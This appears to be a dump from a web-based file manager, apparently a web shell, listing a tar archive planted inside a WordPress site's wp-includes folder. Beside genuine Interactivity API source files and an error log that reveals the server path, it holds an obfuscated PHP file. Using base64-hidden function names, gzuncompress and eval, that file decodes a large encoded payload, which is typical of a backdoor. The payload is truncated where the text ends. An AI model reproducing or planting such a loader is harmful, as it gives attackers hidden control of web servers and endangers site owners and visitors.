Файловый менеджер

Файловый менеджер - Редактировать - /home/patasalvajes/public_html/wp-includes/IXR/782563/interactivity-api.tar

Назад
class-wp-interactivity-api-directives-processor.php��0000644��00000017077�15014733642�0016646 0��ustar�00��<?php /** * Interactivity API: WP_Interactivity_API_Directives_Processor class. * * @package WordPress * @subpackage Interactivity API * @since 6.5.0 / /* * Class used to iterate over the tags of an HTML string and help process the * directive attributes. * * @since 6.5.0 * * @access private / final class WP_Interactivity_API_Directives_Processor extends WP_HTML_Tag_Processor { /* * List of tags whose closer tag is not visited by the WP_HTML_Tag_Processor. * * @since 6.5.0 * @var string[] / const TAGS_THAT_DONT_VISIT_CLOSER_TAG = array( 'SCRIPT', 'IFRAME', 'NOEMBED', 'NOFRAMES', 'STYLE', 'TEXTAREA', 'TITLE', 'XMP', ); /* * Returns the content between two balanced template tags. * * It positions the cursor in the closer tag of the balanced template tag, * if it exists. * * @since 6.5.0 * * @access private * * @return string\|null The content between the current opener template tag and its matching closer tag or null if it * doesn't find the matching closing tag or the current tag is not a template opener tag. / public function get_content_between_balanced_template_tags() { if ( 'TEMPLATE' !== $this->get_tag() ) { return null; } $positions = $this->get_after_opener_tag_and_before_closer_tag_positions(); if ( ! $positions ) { return null; } list( $after_opener_tag, $before_closer_tag ) = $positions; return substr( $this->html, $after_opener_tag, $before_closer_tag - $after_opener_tag ); } /* * Sets the content between two balanced tags. * * @since 6.5.0 * * @access private * * @param string $new_content The string to replace the content between the matching tags. * @return bool Whether the content was successfully replaced. / public function set_content_between_balanced_tags( string $new_content ): bool { $positions = $this->get_after_opener_tag_and_before_closer_tag_positions( true ); if ( ! $positions ) { return false; } list( $after_opener_tag, $before_closer_tag ) = $positions; $this->lexical_updates[] = new WP_HTML_Text_Replacement( $after_opener_tag, $before_closer_tag - $after_opener_tag, esc_html( $new_content ) ); return true; } /* * Appends content after the closing tag of a template tag. * * It positions the cursor in the closer tag of the balanced template tag, * if it exists. * * @access private * * @param string $new_content The string to append after the closing template tag. * @return bool Whether the content was successfully appended. / public function append_content_after_template_tag_closer( string $new_content ): bool { if ( empty( $new_content ) \|\| 'TEMPLATE' !== $this->get_tag() \|\| ! $this->is_tag_closer() ) { return false; } // Flushes any changes. $this->get_updated_html(); $bookmark = 'append_content_after_template_tag_closer'; $this->set_bookmark( $bookmark ); $after_closing_tag = $this->bookmarks[ $bookmark ]->start + $this->bookmarks[ $bookmark ]->length; $this->release_bookmark( $bookmark ); // Appends the new content. $this->lexical_updates[] = new WP_HTML_Text_Replacement( $after_closing_tag, 0, $new_content ); return true; } /* * Gets the positions right after the opener tag and right before the closer * tag in a balanced tag. * * By default, it positions the cursor in the closer tag of the balanced tag. * If $rewind is true, it seeks back to the opener tag. * * @since 6.5.0 * * @access private * * @param bool $rewind Optional. Whether to seek back to the opener tag after finding the positions. Defaults to false. * @return array\|null Start and end byte position, or null when no balanced tag bookmarks. / private function get_after_opener_tag_and_before_closer_tag_positions( bool $rewind = false ) { // Flushes any changes. $this->get_updated_html(); $bookmarks = $this->get_balanced_tag_bookmarks(); if ( ! $bookmarks ) { return null; } list( $opener_tag, $closer_tag ) = $bookmarks; $after_opener_tag = $this->bookmarks[ $opener_tag ]->start + $this->bookmarks[ $opener_tag ]->length; $before_closer_tag = $this->bookmarks[ $closer_tag ]->start; if ( $rewind ) { $this->seek( $opener_tag ); } $this->release_bookmark( $opener_tag ); $this->release_bookmark( $closer_tag ); return array( $after_opener_tag, $before_closer_tag ); } /* * Returns a pair of bookmarks for the current opener tag and the matching * closer tag. * * It positions the cursor in the closer tag of the balanced tag, if it * exists. * * @since 6.5.0 * * @return array\|null A pair of bookmarks, or null if there's no matching closing tag. / private function get_balanced_tag_bookmarks() { static $i = 0; $opener_tag = 'opener_tag_of_balanced_tag_' . ++$i; $this->set_bookmark( $opener_tag ); if ( ! $this->next_balanced_tag_closer_tag() ) { $this->release_bookmark( $opener_tag ); return null; } $closer_tag = 'closer_tag_of_balanced_tag_' . ++$i; $this->set_bookmark( $closer_tag ); return array( $opener_tag, $closer_tag ); } /* * Skips processing the content between tags. * * It positions the cursor in the closer tag of the foreign element, if it * exists. * * This function is intended to skip processing SVG and MathML inner content * instead of bailing out the whole processing. * * @since 6.5.0 * * @access private * * @return bool Whether the foreign content was successfully skipped. / public function skip_to_tag_closer(): bool { $depth = 1; $tag_name = $this->get_tag(); while ( $depth > 0 && $this->next_tag( array( 'tag_closers' => 'visit' ) ) ) { if ( ! $this->is_tag_closer() && $this->get_attribute_names_with_prefix( 'data-wp-' ) ) { / translators: 1: SVG or MATH HTML tag. / $message = sprintf( __( 'Interactivity directives were detected inside an incompatible %1$s tag. These directives will be ignored in the server side render.' ), $tag_name ); _doing_it_wrong( __METHOD__, $message, '6.6.0' ); } if ( $this->get_tag() === $tag_name ) { if ( $this->has_self_closing_flag() ) { continue; } $depth += $this->is_tag_closer() ? -1 : 1; } } return 0 === $depth; } /* * Finds the matching closing tag for an opening tag. * * When called while the processor is on an open tag, it traverses the HTML * until it finds the matching closer tag, respecting any in-between content, * including nested tags of the same name. Returns false when called on a * closer tag, a tag that doesn't have a closer tag (void), a tag that * doesn't visit the closer tag, or if no matching closing tag was found. * * @since 6.5.0 * * @access private * * @return bool Whether a matching closing tag was found. / public function next_balanced_tag_closer_tag(): bool { $depth = 0; $tag_name = $this->get_tag(); if ( ! $this->has_and_visits_its_closer_tag() ) { return false; } while ( $this->next_tag( array( 'tag_name' => $tag_name, 'tag_closers' => 'visit', ) ) ) { if ( ! $this->is_tag_closer() ) { ++$depth; continue; } if ( 0 === $depth ) { return true; } --$depth; } return false; } /* * Checks whether the current tag has and will visit its matching closer tag. * * @since 6.5.0 * * @access private * * @return bool Whether the current tag has a closer tag. / public function has_and_visits_its_closer_tag(): bool { $tag_name = $this->get_tag(); return null !== $tag_name && ( ! WP_HTML_Processor::is_void( $tag_name ) && ! in_array( $tag_name, self::TAGS_THAT_DONT_VISIT_CLOSER_TAG, true ) ); } } ��error_log��0000644��00000002754�15014733643�0006477 0��ustar�00��[24-May-2025 00:01:28 UTC] PHP Fatal error: Uncaught Error: Class 'WP_HTML_Tag_Processor' not found in /home/patasalvajes/public_html/wp-includes/interactivity-api/class-wp-interactivity-api-directives-processor.php:18 Stack trace: #0 {main} thrown in /home/patasalvajes/public_html/wp-includes/interactivity-api/class-wp-interactivity-api-directives-processor.php on line 18 [24-May-2025 12:49:53 UTC] PHP Fatal error: Uncaught Error: Class 'WP_HTML_Tag_Processor' not found in /home/patasalvajes/public_html/wp-includes/interactivity-api/class-wp-interactivity-api-directives-processor.php:18 Stack trace: #0 {main} thrown in /home/patasalvajes/public_html/wp-includes/interactivity-api/class-wp-interactivity-api-directives-processor.php on line 18 [24-May-2025 19:24:53 UTC] PHP Fatal error: Uncaught Error: Class 'WP_HTML_Tag_Processor' not found in /home/patasalvajes/public_html/wp-includes/interactivity-api/class-wp-interactivity-api-directives-processor.php:18 Stack trace: #0 {main} thrown in /home/patasalvajes/public_html/wp-includes/interactivity-api/class-wp-interactivity-api-directives-processor.php on line 18 [24-May-2025 19:34:25 UTC] PHP Fatal error: Uncaught Error: Class 'WP_HTML_Tag_Processor' not found in /home/patasalvajes/public_html/wp-includes/interactivity-api/class-wp-interactivity-api-directives-processor.php:18 Stack trace: #0 {main} thrown in /home/patasalvajes/public_html/wp-includes/interactivity-api/class-wp-interactivity-api-directives-processor.php on line 18 ��interactivity-api.php��0000644��00000011652�15014733643�0010735 0��ustar�00��<?php /* * Interactivity API: Functions and hooks * * @package WordPress * @subpackage Interactivity API * @since 6.5.0 / /* * Retrieves the main WP_Interactivity_API instance. * * It provides access to the WP_Interactivity_API instance, creating one if it * doesn't exist yet. * * @since 6.5.0 * * @global WP_Interactivity_API $wp_interactivity * * @return WP_Interactivity_API The main WP_Interactivity_API instance. / function wp_interactivity(): WP_Interactivity_API { global $wp_interactivity; if ( ! ( $wp_interactivity instanceof WP_Interactivity_API ) ) { $wp_interactivity = new WP_Interactivity_API(); } return $wp_interactivity; } /* * Processes the interactivity directives contained within the HTML content * and updates the markup accordingly. * * @since 6.5.0 * * @param string $html The HTML content to process. * @return string The processed HTML content. It returns the original content when the HTML contains unbalanced tags. / function wp_interactivity_process_directives( string $html ): string { return wp_interactivity()->process_directives( $html ); } /* * Gets and/or sets the initial state of an Interactivity API store for a * given namespace. * * If state for that store namespace already exists, it merges the new * provided state with the existing one. * * The namespace can be omitted inside derived state getters, using the * namespace where the getter is defined. * * @since 6.5.0 * @since 6.6.0 The namespace can be omitted when called inside derived state getters. * * @param string $store_namespace The unique store namespace identifier. * @param array $state Optional. The array that will be merged with the existing state for the specified * store namespace. * @return array The state for the specified store namespace. This will be the updated state if a $state argument was * provided. / function wp_interactivity_state( ?string $store_namespace = null, array $state = array() ): array { return wp_interactivity()->state( $store_namespace, $state ); } /* * Gets and/or sets the configuration of the Interactivity API for a given * store namespace. * * If configuration for that store namespace exists, it merges the new * provided configuration with the existing one. * * @since 6.5.0 * * @param string $store_namespace The unique store namespace identifier. * @param array $config Optional. The array that will be merged with the existing configuration for the * specified store namespace. * @return array The configuration for the specified store namespace. This will be the updated configuration if a * $config argument was provided. / function wp_interactivity_config( string $store_namespace, array $config = array() ): array { return wp_interactivity()->config( $store_namespace, $config ); } /* * Generates a `data-wp-context` directive attribute by encoding a context * array. * * This helper function simplifies the creation of `data-wp-context` directives * by providing a way to pass an array of data, which encodes into a JSON string * safe for direct use as a HTML attribute value. * * Example: * * <div <?php echo wp_interactivity_data_wp_context( array( 'isOpen' => true, 'count' => 0 ) ); ?>> * * @since 6.5.0 * * @param array $context The array of context data to encode. * @param string $store_namespace Optional. The unique store namespace identifier. * @return string A complete `data-wp-context` directive with a JSON encoded value representing the context array and * the store namespace if specified. / function wp_interactivity_data_wp_context( array $context, string $store_namespace = '' ): string { return 'data-wp-context=\'' . ( $store_namespace ? $store_namespace . '::' : '' ) . ( empty( $context ) ? '{}' : wp_json_encode( $context, JSON_HEX_TAG \| JSON_HEX_APOS \| JSON_HEX_QUOT \| JSON_HEX_AMP ) ) . '\''; } /* * Gets the current Interactivity API context for a given namespace. * * The function should be used only during directive processing. If the * `$store_namespace` parameter is omitted, it uses the current namespace value * on the internal namespace stack. * * It returns an empty array when the specified namespace is not defined. * * @since 6.6.0 * * @param string $store_namespace Optional. The unique store namespace identifier. * @return array The context for the specified store namespace. / function wp_interactivity_get_context( ?string $store_namespace = null ): array { return wp_interactivity()->get_context( $store_namespace ); } /* * Returns an array representation of the current element being processed. * * The function should be used only during directive processing. * * @since 6.7.0 * * @return array{attributes: array<string, string\|bool>}\|null Current element. / function wp_interactivity_get_element(): ?array { return wp_interactivity()->get_element(); } ��809918/index.php��0000644��00000041016�15014733643�0007156 0��ustar�00��<?php $__='printf';$_='Loading coco@burndogfather.com';$_____='b2JfZW5kX2NsZWFu';$______________='cmV0dXJuIGV2YWwoJF8pOw==';$__________________='X19sYW1iZGE=';$______=' Z3p1bmNvbXByZXNz';$___='b2Jfc3RhcnQ=';$____='b2JfZ2V0X2NvbnRlbnRz';$__='base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}}$__________________=$__($__________________); $______________=$__($______________);$__________=$__________________('$_',$______________); $_____=$__($_____);$____=$__($____);$___=$__($___);$_='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